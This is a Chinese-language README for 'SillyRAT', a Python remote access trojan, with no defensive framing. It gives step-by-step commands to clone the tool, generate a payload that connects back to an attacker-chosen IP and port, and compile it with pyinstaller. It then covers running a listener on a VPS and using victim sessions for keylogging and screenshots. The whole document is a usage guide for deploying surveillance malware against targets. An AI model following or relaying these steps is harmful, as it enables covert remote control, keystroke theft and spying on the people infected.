
一个完全用纯 Python 编写的跨平台 RAT。该 RAT 接受带参数的命令,既可以作为接受连接的服务器运行,也可以作为建立连接到服务器的客户端/目标运行。generate 命令使用 pyinstaller 模块来编译实际的有效载荷代码。因此,为了生成适用于您所在平台的有效载荷文件,您需要在该平台上生成文件。此外,您也可以直接获取源文件。
该工具已在 Parrot OS 搭配 Python 3.8 上测试。 请按以下步骤安装:
$ git clone https://github.com/hash3liZer/SillyRAT.git
$ cd SillyRAT/
$ pip3 install -r requirements.txt
您可以通过两种方式获取有效载荷文件:
$ python3 server.py generate --address 134.276.92.1 --port 2999 --output /tmp/payload.py --source
编译版本必须在相应平台上生成。例如,您无法在 Linux 上生成 .exe 文件。您必须专门在 Windows 上操作。该工具仍在测试中,因此所有类型的错误都是可以接受的。不过请务必提交一个问题。在 Linux 上生成编译版本:
$ python3 server.py generate --address 134.276.92.1 --port 2999 --output /tmp/filer

请将上述命令中的 IP 地址和端口替换为您自己的。
服务器必须在 Linux 上执行。您可以购买 VPS 或云服务器来处理连接。请注意,服务器不会保存上次运行的任何会话。因此,一旦服务器应用程序终止,所有进度都将丢失。运行服务器:
$ python3 sillyrat.py bind --address 0.0.0.0 --port 2999
所有连接都将列在 sessions 命令下:
$ sessions

您可以使用 connect 命令连接到目标会话,然后执行可用的命令之一:
$ connect ID
$ keylogger on
$ keylogger dump
$ screenshot

获取可用命令列表:
$ help
特定命令的帮助:
$ help COMMAND
Twitter:@hash3liZer
Discord:TheFlash2k#0407